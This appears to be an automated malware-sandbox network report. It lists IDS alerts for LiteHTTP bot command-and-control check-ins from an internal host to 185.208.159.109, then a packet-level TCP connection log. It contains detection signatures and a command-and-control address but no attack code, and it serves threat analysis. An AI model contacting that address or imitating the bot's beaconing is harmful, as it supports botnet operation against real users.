Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-17T10:20:18.128651+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49826	185.208.159.109	80	TCP
2024-12-17T10:20:19.143774+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49826	185.208.159.109	80	TCP
2024-12-17T10:20:19.143774+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49826	185.208.159.109	80	TCP
2024-12-17T10:20:35.925260+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49867	185.208.159.109	80	TCP
2024-12-17T10:20:36.924933+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49867	185.208.159.109	80	TCP
2024-12-17T10:20:36.924933+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49867	185.208.159.109	80	TCP
2024-12-17T10:20:55.472043+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49908	185.208.159.109	80	TCP
2024-12-17T10:20:56.558753+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49908	185.208.159.109	80	TCP
2024-12-17T10:20:56.558753+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49908	185.208.159.109	80	TCP
2024-12-17T10:21:12.644070+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49948	185.208.159.109	80	TCP
2024-12-17T10:21:13.643978+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49948	185.208.159.109	80	TCP
2024-12-17T10:21:13.643978+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49948	185.208.159.109	80	TCP
2024-12-17T10:21:28.706502+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49979	185.208.159.109	80	TCP
2024-12-17T10:21:29.722238+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49979	185.208.159.109	80	TCP
2024-12-17T10:21:29.722238+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49979	185.208.159.109	80	TCP
2024-12-17T10:21:31.550246+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49980	185.208.159.109	80	TCP
2024-12-17T10:21:32.560184+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49980	185.208.159.109	80	TCP
2024-12-17T10:21:32.560184+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49980	185.208.159.109	80	TCP
2024-12-17T10:21:37.207748+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49981	185.208.159.109	80	TCP
2024-12-17T10:21:38.143751+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49981	185.208.159.109	80	TCP
2024-12-17T10:21:38.143751+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49981	185.208.159.109	80	TCP
2024-12-17T10:21:43.738125+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49982	185.208.159.109	80	TCP
2024-12-17T10:21:44.722069+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49982	185.208.159.109	80	TCP
2024-12-17T10:21:44.722069+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49982	185.208.159.109	80	TCP
2024-12-17T10:21:54.362643+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49983	185.208.159.109	80	TCP
2024-12-17T10:21:55.440621+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49983	185.208.159.109	80	TCP
2024-12-17T10:21:55.440621+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49983	185.208.159.109	80	TCP
2024-12-17T10:21:56.034479+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49984	185.208.159.109	80	TCP
2024-12-17T10:21:57.144479+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49984	185.208.159.109	80	TCP
2024-12-17T10:21:57.144479+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49984	185.208.159.109	80	TCP
2024-12-17T10:22:11.660045+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49985	185.208.159.109	80	TCP
2024-12-17T10:22:12.722386+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49985	185.208.159.109	80	TCP
2024-12-17T10:22:12.722386+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49985	185.208.159.109	80	TCP
2024-12-17T10:22:14.222561+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49986	185.208.159.109	80	TCP
2024-12-17T10:22:15.331500+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49986	185.208.159.109	80	TCP
2024-12-17T10:22:15.331500+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49986	185.208.159.109	80	TCP
2024-12-17T10:22:29.597040+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49987	185.208.159.109	80	TCP
2024-12-17T10:22:30.456639+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49988	185.208.159.109	80	TCP
2024-12-17T10:22:30.612546+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49987	185.208.159.109	80	TCP
2024-12-17T10:22:30.612546+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49987	185.208.159.109	80	TCP
2024-12-17T10:22:31.612580+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49988	185.208.159.109	80	TCP
2024-12-17T10:22:31.612580+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49988	185.208.159.109	80	TCP
2024-12-17T10:22:36.347067+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49989	185.208.159.109	80	TCP
2024-12-17T10:22:37.331293+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49989	185.208.159.109	80	TCP
2024-12-17T10:22:37.331293+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49989	185.208.159.109	80	TCP
2024-12-17T10:22:46.487687+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49990	185.208.159.109	80	TCP
2024-12-17T10:22:47.518810+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49990	185.208.159.109	80	TCP
2024-12-17T10:22:47.518810+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49990	185.208.159.109	80	TCP
2024-12-17T10:22:55.472046+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49991	185.208.159.109	80	TCP
2024-12-17T10:22:56.440691+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49991	185.208.159.109	80	TCP
2024-12-17T10:22:56.440691+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49991	185.208.159.109	80	TCP
2024-12-17T10:23:13.456404+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49992	185.208.159.109	80	TCP
2024-12-17T10:23:14.518821+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49992	185.208.159.109	80	TCP
2024-12-17T10:23:14.518821+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49992	185.208.159.109	80	TCP
2024-12-17T10:23:21.034585+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49993	185.208.159.109	80	TCP
2024-12-17T10:23:21.638539+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49993	185.208.159.109	80	TCP
2024-12-17T10:23:21.638539+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49993	185.208.159.109	80	TCP
2024-12-17T10:23:23.706595+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49995	185.208.159.109	80	TCP
2024-12-17T10:23:24.690730+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49995	185.208.159.109	80	TCP
2024-12-17T10:23:24.690730+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49995	185.208.159.109	80	TCP
2024-12-17T10:23:31.987653+0100	2830238	ETPRO MALWARE Observed LiteHTTP Bot Default User-Agent	1	192.168.2.5	49996	185.208.159.109	80	TCP
2024-12-17T10:23:32.971952+0100	2819705	ETPRO MALWARE MSIL/LiteHTTP Bot CnC Checkin	1	192.168.2.5	49996	185.208.159.109	80	TCP
2024-12-17T10:23:32.971952+0100	2829909	ETPRO MALWARE LiteHTTP Bot CnC Checkin M2	1	192.168.2.5	49996	185.208.159.109	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 10:20:17.657490015 CET	49826	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:17.777642012 CET	80	49826	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:17.777735949 CET	49826	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:17.778166056 CET	49826	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:17.897882938 CET	80	49826	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:18.128650904 CET	49826	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:18.248436928 CET	80	49826	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:19.057401896 CET	80	49826	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:19.143774033 CET	49826	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:19.292892933 CET	80	49826	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:19.440527916 CET	49826	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:24.214019060 CET	80	49826	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:24.214092970 CET	49826	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:35.456891060 CET	49826	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:35.457371950 CET	49867	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:35.576656103 CET	80	49826	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:35.577073097 CET	80	49867	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:35.577228069 CET	49867	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:35.577512026 CET	49867	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:35.697195053 CET	80	49867	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:35.925260067 CET	49867	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:36.045145988 CET	80	49867	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:36.861203909 CET	80	49867	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:36.924932957 CET	49867	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:37.096514940 CET	80	49867	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:37.098866940 CET	49867	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:37.219122887 CET	80	49867	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:37.219233036 CET	49867	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:55.003887892 CET	49908	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:55.123816967 CET	80	49908	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:55.126806974 CET	49908	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:55.126995087 CET	49908	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:55.246768951 CET	80	49908	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:55.472043037 CET	49908	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:55.591914892 CET	80	49908	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:56.405700922 CET	80	49908	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:56.558753014 CET	49908	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:20:56.644464970 CET	80	49908	185.208.159.109	192.168.2.5
Dec 17, 2024 10:20:56.721829891 CET	49908	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:01.414638042 CET	80	49908	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:01.414756060 CET	49908	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:12.175652027 CET	49908	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:12.176493883 CET	49948	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:12.295351982 CET	80	49908	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:12.296261072 CET	80	49948	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:12.296343088 CET	49948	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:12.296504021 CET	49948	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:12.416227102 CET	80	49948	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:12.644069910 CET	49948	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:12.763952971 CET	80	49948	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:13.574693918 CET	80	49948	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:13.643978119 CET	49948	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:13.808129072 CET	80	49948	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:13.940582991 CET	49948	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:18.681658983 CET	80	49948	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:18.681716919 CET	49948	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:28.233853102 CET	49979	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:28.353801966 CET	80	49979	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:28.354392052 CET	49979	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:28.354572058 CET	49979	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:28.474801064 CET	80	49979	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:28.706501961 CET	49979	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:28.827615976 CET	80	49979	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:29.632493019 CET	80	49979	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:29.722238064 CET	49979	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:29.868261099 CET	80	49979	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:29.925050974 CET	49979	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:31.082242012 CET	49948	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:31.082278013 CET	49980	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:31.202034950 CET	80	49948	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:31.202058077 CET	80	49980	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:31.202275991 CET	49980	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:31.202579975 CET	49980	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:31.322396040 CET	80	49980	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:31.550246000 CET	49980	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:31.670001030 CET	80	49980	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:32.484730959 CET	80	49980	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:32.560184002 CET	49980	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:32.720211029 CET	80	49980	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:32.815642118 CET	49980	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:34.641391039 CET	80	49979	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:34.641457081 CET	49979	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:36.614619970 CET	49979	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:36.615588903 CET	49981	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:36.735023975 CET	80	49979	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:36.735264063 CET	80	49981	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:36.735342979 CET	49981	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:36.853759050 CET	49981	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:36.975187063 CET	80	49981	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:37.207747936 CET	49981	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:37.327827930 CET	80	49981	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:37.490550041 CET	80	49980	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:37.490757942 CET	49980	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:38.012603998 CET	80	49981	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:38.143750906 CET	49981	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:38.252089024 CET	80	49981	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:38.331340075 CET	49981	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:43.022794962 CET	80	49981	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:43.022898912 CET	49981	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:43.269701958 CET	49980	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:43.269915104 CET	49982	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:43.389585972 CET	80	49980	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:43.389679909 CET	80	49982	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:43.390265942 CET	49982	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:43.390369892 CET	49982	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:43.510186911 CET	80	49982	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:43.738125086 CET	49982	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:43.857992887 CET	80	49982	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:44.676506996 CET	80	49982	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:44.722069025 CET	49982	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:44.912226915 CET	80	49982	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:45.112581968 CET	49982	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:49.684474945 CET	80	49982	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:49.684583902 CET	49982	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:53.888602972 CET	49981	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:53.889162064 CET	49983	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:54.008476973 CET	80	49981	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:54.009052038 CET	80	49983	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:54.009200096 CET	49983	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:54.015923977 CET	49983	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:54.135957003 CET	80	49983	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:54.362643003 CET	49983	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:54.482361078 CET	80	49983	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:55.292049885 CET	80	49983	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:55.440620899 CET	49983	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:55.524868965 CET	80	49983	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:55.566147089 CET	49982	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:55.566530943 CET	49984	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:55.643742085 CET	49983	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:55.685939074 CET	80	49982	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:55.686201096 CET	80	49984	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:55.686290026 CET	49984	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:55.686429977 CET	49984	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:55.806108952 CET	80	49984	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:56.034478903 CET	49984	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:56.154297113 CET	80	49984	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:56.966278076 CET	80	49984	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:57.144479036 CET	49984	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:21:57.204272032 CET	80	49984	185.208.159.109	192.168.2.5
Dec 17, 2024 10:21:57.331249952 CET	49984	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:00.300543070 CET	80	49983	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:00.300715923 CET	49983	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:01.973728895 CET	80	49984	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:01.973805904 CET	49984	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:11.191423893 CET	49984	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:11.192014933 CET	49985	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:11.311207056 CET	80	49984	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:11.311712980 CET	80	49985	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:11.311894894 CET	49985	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:11.312266111 CET	49985	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:11.431996107 CET	80	49985	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:11.660044909 CET	49985	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:11.779931068 CET	80	49985	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:12.590095997 CET	80	49985	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:12.722385883 CET	49985	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:12.824393988 CET	80	49985	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:12.926055908 CET	49985	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:13.754156113 CET	49983	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:13.754156113 CET	49986	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:13.874041080 CET	80	49983	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:13.874058962 CET	80	49986	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:13.874198914 CET	49986	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:13.875257969 CET	49986	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:13.994940042 CET	80	49986	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:14.222560883 CET	49986	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:14.342966080 CET	80	49986	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:15.152443886 CET	80	49986	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:15.331500053 CET	49986	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:15.389276028 CET	80	49986	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:15.440642118 CET	49986	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:17.598901987 CET	80	49985	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:17.599030018 CET	49985	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:20.161262035 CET	80	49986	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:20.161468029 CET	49986	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:29.129726887 CET	49987	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:29.129734039 CET	49986	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:29.249558926 CET	80	49986	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:29.249602079 CET	80	49987	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:29.250087976 CET	49987	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:29.250087976 CET	49987	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:29.369831085 CET	80	49987	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:29.597039938 CET	49987	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:29.785959959 CET	80	49987	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:29.988481045 CET	49985	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:29.988909006 CET	49988	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:30.108258963 CET	80	49985	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:30.108683109 CET	80	49988	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:30.108869076 CET	49988	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:30.108968019 CET	49988	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:30.228631020 CET	80	49988	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:30.456639051 CET	49988	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:30.530515909 CET	80	49987	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:30.577871084 CET	80	49988	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:30.612545967 CET	49987	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:30.764267921 CET	80	49987	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:30.925069094 CET	49987	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:31.387343884 CET	80	49988	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:31.612580061 CET	49988	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:31.620615005 CET	80	49988	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:31.721963882 CET	49988	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:35.540946960 CET	80	49987	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:35.542074919 CET	49987	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:35.868340969 CET	49987	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:35.868696928 CET	49989	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:35.988785982 CET	80	49987	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:35.988806963 CET	80	49989	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:35.988897085 CET	49989	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:35.989118099 CET	49989	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:36.108777046 CET	80	49989	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:36.347067118 CET	49989	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:36.396080971 CET	80	49988	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:36.396568060 CET	49988	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:36.467089891 CET	80	49989	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:37.269721031 CET	80	49989	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:37.331293106 CET	49989	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:37.504338980 CET	80	49989	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:37.643898964 CET	49989	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:42.277895927 CET	80	49989	185.208.159.109	192.168.2.5
Dec 17, 2024 10:22:42.278065920 CET	49989	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:46.014787912 CET	49988	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:46.015959024 CET	49990	80	192.168.2.5	185.208.159.109
Dec 17, 2024 10:22:46.134814024 CET	80	49988	185.208.159.109	192.168.2.5
